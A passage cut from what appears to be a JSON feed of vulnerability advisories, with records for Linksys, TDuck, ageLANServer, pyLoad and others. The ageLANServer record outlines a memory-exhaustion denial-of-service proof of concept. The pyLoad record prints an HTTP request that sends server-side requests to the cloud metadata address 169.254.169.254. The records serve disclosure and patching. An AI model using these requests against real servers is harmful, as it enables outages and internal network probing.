attack is possible. The exploit has been released to the public and may be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T14:17:09.897Z","updatedAt":"2026-10-14T18:17:31.883Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-108894","asOf":"2026-10-14T18:17:31.883Z"},"epss":{"probability":0.02157,"percentile":0.82064,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-108894&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-108894","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-108894","type":"primary","publishedAt":"2026-10-12T14:17:09.897Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-108894&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-108894, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-108893","cveId":"CVE-2026-108893","aliases":[],"kind":"vulnerability","title":"A vulnerability was identified in Linksys E1700 up to 1.0.0.4.003. This issue affects the function setVlan of the file /goform/setVlan.","summary":"A vulnerability was identified in Linksys E1700 up to 1.0.0.4.003. This issue affects the function setVlan of the file /goform/setVlan. Such manipulation of the argument vlan_set leads to stack-based buffer overflow. The attack may be launched remotely. The exploit is publicly available and might be used. The vendor was contacted early about this disclosure but did not respond in any way.","detail":"A vulnerability was identified in Linksys E1700 up to 1.0.0.4.003. This issue affects the function setVlan of the file /goform/setVlan. Such manipulation of the argument vlan_set leads to stack-based buffer overflow. The attack may be launched remotely. The exploit is publicly available and might be used. The vendor was contacted early about this disclosure but did not respond in any way.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T14:17:09.710Z","updatedAt":"2026-10-13T19:18:11.003Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-108893","asOf":"2026-10-13T19:18:11.003Z"},"epss":{"probability":0.00532,"percentile":0.44697,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-108893&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-108893","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-108893","type":"primary","publishedAt":"2026-10-12T14:17:09.710Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-108893&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-108893, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-108890","cveId":"CVE-2026-108890","aliases":[],"kind":"vulnerability","title":"A vulnerability has been found in BlackBeltTechnology pi-agent-dashboard up to 0.8.0. Affected by this issue is the function terminalManager.spawn of the file...","summary":"A vulnerability has been found in BlackBeltTechnology pi-agent-dashboard up to 0.8.0. Affected by this issue is the function terminalManager.spawn of the file packages/server/src/browser-handlers/terminal-handler.ts of the component Terminal Handler. The manipulation of the argument cwd leads to improper authorization. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. The identifier of the patch is 48fd0bad5adfe76af9736599699d51a5f60019f6. It is suggested to install a patch to address this issue. The vendor was contacted early, responded in a very professional manner and quickly released a fixed version of the affected product.","detail":"A vulnerability has been found in BlackBeltTechnology pi-agent-dashboard up to 0.8.0. Affected by this issue is the function terminalManager.spawn of the file packages/server/src/browser-handlers/terminal-handler.ts of the component Terminal Handler. The manipulation of the argument cwd leads to improper authorization. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. The identifier of the patch is 48fd0bad5adfe76af9736599699d51a5f60019f6. It is suggested to install a patch to address this issue. The vendor was contacted early, responded in a very professional manner and quickly released a fixed version of the affected product.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T14:17:09.343Z","updatedAt":"2026-10-13T16:17:12.793Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":2.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-108890","asOf":"2026-10-13T16:17:12.793Z"},"epss":{"probability":0.00389,"percentile":0.32712,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-108890&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-108890","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-108890","type":"primary","publishedAt":"2026-10-12T14:17:09.343Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-108890&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-108890, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109164","cveId":"CVE-2026-109164","aliases":[],"kind":"vulnerability","title":"TDuck survey form through 6.0 contains an insecure direct object reference vulnerability that allows authenticated users to delete other users' form submissions by supplying...","summary":"TDuck survey form through 6.0 contains an insecure direct object reference vulnerability that allows authenticated users to delete other users' form submissions by supplying arbitrary submission ids. Attackers can place their own formKey in the path and iterate sequential submission ids in the request body to permanently delete submissions platform-wide.","detail":"TDuck survey form through 6.0 contains an insecure direct object reference vulnerability that allows authenticated users to delete other users' form submissions by supplying arbitrary submission ids. Attackers can place their own formKey in the path and iterate sequential submission ids in the request body to permanently delete submissions platform-wide.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T13:17:28.460Z","updatedAt":"2026-10-26T17:17:12.203Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109164","asOf":"2026-10-26T17:17:12.203Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109164","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109164","type":"primary","publishedAt":"2026-10-12T13:17:28.460Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-107839","cveId":"CVE-2026-107839","aliases":["GHSA-4jfq-pmq9-257h"],"kind":"vulnerability","title":"ageLANServer: Unbounded JSON Array Allocation in AoE3 Cloud `getFileURL` Endpoint Leads to Remote Denial of Service","summary":"```go\ntype getFileURLRequest struct {\n Names i.Json[[]string] `json:\"names\"`\n}\n\nfunc GetFileURL(w http.ResponseWriter, r *http.Request) {\n var req getFileURLRequest\n err := i.Bind(r, &req)\n ...\n descriptions := make(i.A, len(req.Names.Data))\n for j, name := range req.Names.Data {\n ...\n```","detail":"### Summary\nThe AoE3 `POST /game/cloud/getFileURL` handler in `luskaner/ageLANServer`'s bundled game server decodes an attacker-controlled `names` JSON array and immediately allocates response storage sized directly from the array's length (`make(i.A, len(req.Names.Data))`), with no request body size limit and no cap on the number of array elements anywhere in the request path. Because the default configuration ships with `Authentication = 'disabled'`, any network client can obtain a session through unauthenticated platform login and then send a single crafted request that forces the server to allocate memory proportional to attacker-chosen input. Dynamic testing against an unmodified build confirmed both large memory-amplification growth from a single request and a full server process kill via the kernel OOM killer when a memory-constrained instance received a few concurrent oversized requests. This is a high-severity, pre-authentication (self-registration only) remote denial-of-service vulnerability (CVSS 3.1 Base Score 7.5, CWE-400).\n\n### Details\n`server/internal/routes/game/cloud/getFileURL.go` defines the request struct and handler for the AoE3 cloud \"get file URL\" endpoint:\n\n```go\ntype getFileURLRequest struct {\n Names i.Json[[]string] `json:\"names\"`\n}\n\nfunc GetFileURL(w http.ResponseWriter, r *http.Request) {\n var req getFileURLRequest\n err := i.Bind(r, &req)\n ...\n descriptions := make(i.A, len(req.Names.Data))\n for j, name := range req.Names.Data {\n ...\n```\n\n`Names` is typed as `i.Json[[]string]`, a wrapper whose `UnmarshalText` is invoked by `encoding/json` whenever the incoming JSON value for `names` is itself a string, so the attacker supplies a JSON-string-encoded array (e.g. `{\"names\":\"[\\\"x\\\",\\\"x\\\",...]\"}`). The request body is decoded in `server/internal/http.go`'s `Bind()` via `json.NewDecoder(r.Body).Decode(data)`, with no `http.MaxBytesReader`, no `LimitReader`, and no `MaxHeaderBytes` configured on the `http.Server` in `server/internal/cmd/root.go`. There is also no branch-neutral cap on `len(req.Names.Data)` — the same unbounded length is also used at `getFileURL.go:27` (`slices.Repeat(i.A{nil}, len(req.Names.Data))` when the cloud file cache is empty) in addition to the `make(i.A, len(req.Names.Data))` sink at line 30.\n\nBecause `len()` on the attacker-supplied slice is used directly as an allocation size with no upper bound, an attacker can force the server to allocate memory (and CPU cycles decoding/iterating) proportional to the size of a single HTTP request body, which is itself unbounded.\n\nReaching this code path requires only a valid session, not real game ownership or credentials:\n- The endpoint is registered for the AoE3 title at `server/internal/routes/router/game.go:267`.\n- `server/internal/routes/router/sessionMiddleware.go:23-36` only checks that `sessionID` resolves to an existing session — it performs no additional authorization.\n- The default configuration `server/resources/config/config.toml` sets `Authentication = 'disabled'`. Combined with `server/internal/routes/game/login/platformlogin.go`, which issues a session for any client-supplied `accountType`/`platformUserID` without verifying it against a real platform, an attacker can obtain a valid `sessionID` with a single unauthenticated `platformlogin` request and no prior credentials.\n\nData flow (source → sink):\n1. `server/resources/unix/start_age3.sh:4` (or `start_age3.bat`) starts the release server with `-e age3`, the default supported way to run the AoE3 server.\n2. `server/internal/routes/router/game.go:267` registers `POST /game/cloud/getFileURL`.\n3. `server/internal/routes/router/sessionMiddleware.go:23-36` accepts any request bearing a valid `sessionID`.\n4. `server/internal/http.go` decodes the JSON body into `getFileURLRequest` with no size limiting.\n5. `server/internal/routes/game/cloud/getFileURL.go:13-19` binds the attacker-controlled `names` array into `req.Names`.\n6. `server/internal/routes/game/cloud/getFileURL.go:27` and `:30` allocate slices sized directly by `len(req.Names.Data)`.\n\n### PoC\nEnvironment: Docker (see `Dockerfile`), which builds the **unmodified** `server` and `genCert` binaries directly from the repository source at commit `405b9a9` (equivalent to the previously reported `870b90c`) and starts the AoE3 server (`./server -e age3`) with the shipped default configuration (`Authentication = 'disabled'`), only disabling LAN announcement broadcast since it is irrelevant to the sandboxed reproduction.\n\nBuild and run:\n```bash\ndocker build -f vuln-001/Dockerfile -t agelan-vuln001 repo\ndocker run -d --name agelan-vuln001-test -p 8443:443 --memory=300m agelan-vuln001\n```\n\nAttack script: `poc.py` (see file for full source). At a high level it:\n1. Calls `POST /game/login/platformlogin` with an arbitrary Steam-style `accountType`/`platformUserID`/`macAddress` to obtain a session id, exploiting the default `Authentication = 'disabled'` setting.\n2. Sends a small baseline `POST /game/cloud/getFileURL?sessionID= ` request (`names` array with 5 elements) and records server RSS before/after via `docker exec ... cat /proc/1/status`.\n3. Sends a single request with `names` containing 2,000,000 elements and records the resulting RSS growth relative to request size (memory amplification).\n4. Against the same container restarted with `--memory=300m`, fires 3 concurrent requests each with `names` containing 3,000,000 elements, then inspects `docker inspect` state to check for an OOM kill.\n\n```bash\npython3 poc.py --host 127.0.0.1 --port 8443 --container agelan-vuln001-test\n```\n\nObserved results (Phase 2 dynamic reproduction, unmodified source):\n- Baseline request (`names` count = 5, 43 request bytes): server RSS unchanged (16928 KB → 16928 KB).\n- Single moderately large request (`names` count = 2,000,000, 12,000,013 request bytes): server RSS jumped from 16,984 KB to 224,724 KB — a growth of 207,740 KB from a ~11.4 MB request (~17.73x amplification of request size in RSS growth).\n- Concurrent attack\n\nAffected package ranges reported by GitHub:\ngithub.com/luskaner/ageLANServer/server: < 1.8.2-0.20260809203301-1dd40166a593","action":"GitHub lists first patched versions: github.com/luskaner/ageLANServer/server: 1.8.2-0.20260809203301-1dd40166a593. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-09T20:44:54.000Z","updatedAt":"2026-10-22T08:25:01.000Z","regions":["Global"],"vendor":null,"product":"github.com/luskaner/ageLANServer/server","stacks":["Go modules","github.com/luskaner/ageLANServer/server","go"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://github.com/advisories/GHSA-4jfq-pmq9-257h","asOf":"2026-10-22T08:25:01.000Z"},"epss":{"probability":0.00415,"percentile":0.35481,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-107839&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-4jfq-pmq9-257h","url":"https://github.com/advisories/GHSA-4jfq-pmq9-257h","type":"primary","publishedAt":"2026-10-09T20:44:54.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-4jfq-pmq9-257h, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-4jfq-pmq9-257h, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-4jfq-pmq9-257h, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-4jfq-pmq9-257h, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-4jfq-pmq9-257h, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-4jfq-pmq9-257h, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-4jfq-pmq9-257h, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-4jfq-pmq9-257h, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-4jfq-pmq9-257h, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-107839&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-107839, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"GHSA-p3pr-8f3m-4qp8","cveId":null,"aliases":[],"kind":"vulnerability","title":"pyLoad WindowsPhoneNotify addon: non-admin SETTINGS user triggers SSRF via unguarded http.client notification host","summary":"pyLoad ships the WindowsPhoneNotify addon, whose `send()` method opens an HTTP connection to a host taken directly from the plugin's `pushurl` configuration value. A user holding the standard non-admin `SETTINGS` permission can set `pushurl` and `pushid` and enable the addon through the web API, since these plugin options are not in the admin-only option set. Once enabled, the addon activates dynamically without a restart, and any completed download (download events fire globally, not per user) causes the addon to send an HTTP POST to the configured host and path. The request is made with Python's `http.client.HTTPConnection`, so it never passes through pyLoad's pycurl-based outbound connection guard. The attacker can therefore direct blind POST requests at internal hosts such as loopback services, RFC 1918 addresses, or the cloud metadata endpoint `169.254.169.254`.\n\npyLoad enforces its outbound SSRF protection only inside the pycurl request path, where a `PREREQFUNCTION` callback calls `is_global_address()` on the resolved peer IP before each connection. The WindowsPhoneNotify addon uses a completely separate HTTP client (`http.client.HTTPConnection`) that is never subjected to that callback and performs no address validation of its own. In addition, the API config-write authorization only guards a narrow hard-coded set of plugin options, which does not include the WindowsPhoneNotify host and path fields, so a non-admin user can point the notifier at any destination.","detail":"## Summary\n\npyLoad ships the WindowsPhoneNotify addon, whose `send()` method opens an HTTP connection to a host taken directly from the plugin's `pushurl` configuration value. A user holding the standard non-admin `SETTINGS` permission can set `pushurl` and `pushid` and enable the addon through the web API, since these plugin options are not in the admin-only option set. Once enabled, the addon activates dynamically without a restart, and any completed download (download events fire globally, not per user) causes the addon to send an HTTP POST to the configured host and path. The request is made with Python's `http.client.HTTPConnection`, so it never passes through pyLoad's pycurl-based outbound connection guard. The attacker can therefore direct blind POST requests at internal hosts such as loopback services, RFC 1918 addresses, or the cloud metadata endpoint `169.254.169.254`.\n\n## Root Cause\n\npyLoad enforces its outbound SSRF protection only inside the pycurl request path, where a `PREREQFUNCTION` callback calls `is_global_address()` on the resolved peer IP before each connection. The WindowsPhoneNotify addon uses a completely separate HTTP client (`http.client.HTTPConnection`) that is never subjected to that callback and performs no address validation of its own. In addition, the API config-write authorization only guards a narrow hard-coded set of plugin options, which does not include the WindowsPhoneNotify host and path fields, so a non-admin user can point the notifier at any destination.\n\n```text\nAffected symbols:\n- WindowsPhoneNotify.send (src/pyload/plugins/addons/WindowsPhoneNotify.py): opens http.client.HTTPConnection(url) on the attacker-controlled pushurl with no destination check.\n- Api.set_config_value (src/pyload/core/api/__init__.py): ADMIN_ONLY_PLUGIN_OPTIONS contains only AntiVirus entries, so a non-admin SETTINGS user can write the WindowsPhoneNotify pushurl, pushid, and enabled values.\n```\n\n## Impact\n\nAn authenticated user with the non-admin `SETTINGS` permission can cause the pyLoad server to issue blind HTTP POST requests to arbitrary internal hosts, ports, and paths that the user cannot reach directly. The attacker controls the destination host and port (`pushurl`), the request path (`pushid`), and part of the XML request body (through file and package names surfaced in the notification text). Because the request is blind, response bodies are not returned; the demonstrated capability is internal service discovery, port and host probing through timing or error differences, cloud metadata endpoint reachability where the network routes it, and triggering state changes on internal HTTP endpoints that act on POST requests. Confidentiality and integrity impact are limited but real; no direct availability impact was demonstrated.\n\n## Proof of Concept\n\n```text\nPreconditions: an authenticated pyLoad account with the SETTINGS permission (128), a network path from the pyLoad host to the chosen internal target, and at least one download that completes to fire the notification event.\n```\n\n1. As a user with the `SETTINGS` permission, POST to `/json/save_config` with `category=\"plugin\"` and config values `WindowsPhoneNotify|pushurl=169.254.169.254`, `WindowsPhoneNotify|pushid=/latest/meta-data/`, and `WindowsPhoneNotify|enabled=True`.\n2. The write is accepted because `(WindowsPhoneNotify, pushurl)` is not in the admin-only option set, and setting `enabled` to true triggers the addon manager's dynamic activation callback, loading the plugin immediately.\n3. Allow (or cause) any download to finish. The global `download_finished` event iterates activated addons and invokes the notifier.\n\n```text\nPOST /json/save_config HTTP/1.1\nHost: pyload.target\nCookie: \nContent-Type: application/x-www-form-urlencoded\n\ncategory=plugin&config=%7B%22WindowsPhoneNotify%7Cenabled%22%3A%22True%22%2C%22WindowsPhoneNotify%7Cpushurl%22%3A%22169.254.169.254%22%2C%22WindowsPhoneNotify%7Cpushid%22%3A%22%2Flatest%2Fmeta-data%2F%22%7D\n```\n\n```text\nObserved result: on the next completed download, the pyLoad process opens a TCP connection to 169.254.169.254:80 and sends \"POST /latest/meta-data/\" with a text/xml notification body. The connection is made by http.client.HTTPConnection with no address validation.\n```\n\n## Attack Chain\n\n1. **Exposure:** The `/json/save_config` web endpoint is network reachable and gated only by `login_required(\"SETTINGS\")`, a standard non-admin permission bit.\n2. **Control:** The attacker supplies the notifier `pushurl` (host and port), `pushid` (request path), and `enabled` flag as config values.\n3. **Path:** `set_config_value` writes the plugin options; the addon manager's config-change callback fires on `enabled` and activates the addon without a restart; a completed download dispatches the global `download_finished` event to activated addons.\n4. **Guard:** The config-write check consults `ADMIN_ONLY_PLUGIN_OPTIONS`, which lists only two AntiVirus options, so the notifier fields pass; the notifier rate and client-connection checks do not block the request; the pycurl `PREREQFUNCTION` SSRF guard and `is_global_address` are never invoked on this path.\n5. **Primitive:** `WindowsPhoneNotify.send()` calls `http.client.HTTPConnection(pushurl)` and issues a POST to `pushid`.\n6. **Result:** A blind HTTP POST reaches an attacker-chosen internal host and path from the pyLoad server's network position.\n\n## Bypass Evidence\n\npyLoad's outbound SSRF protection lives entirely in the pycurl request path: `is_global_address()` is called only from the pycurl `PREREQFUNCTION` callback, and `is_global_host()` is called only from URL parsing for user-submitted download links. Neither helper appears anywhere in the notifier dispatch path. The WindowsPhoneNotify sink uses `http.client.HTTPConnection`, which has no relationship to pycurl and no destination validation, so the guard is not bypassed by a payload trick but is simply not present on this code path. Attempts to disprove the finding were made and \n\nAffected package ranges reported by GitHub:\npyload-ng: <= 0.5.0b3.dev101","action":"Consult the exact GitHub advisory for affected versions, mitigation, and patch availability.","publishedAt":"2026-10-09T17:09:03.000Z","updatedAt":"2026-10-26T15:52:26.000Z","regions":["Global"],"vendor":null,"product":"pyload-ng","stacks":["Python packages (PyPI)","pyload-ng","pip"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":6.4,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N","sourceUrl":"https://github.com/advisories/GHSA-p3pr-8f3m-4qp8","asOf":"2026-10-26T15:52:26.000Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-p3pr-8f3m-4qp8","url":"https://github.com/advisories/GHSA-p3pr-8f3m-4qp8","type":"primary","publishedAt":"2026-10-09T17:09:03.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-p3pr-8f3m-4qp8, its actual identifiers, source dates, and structured 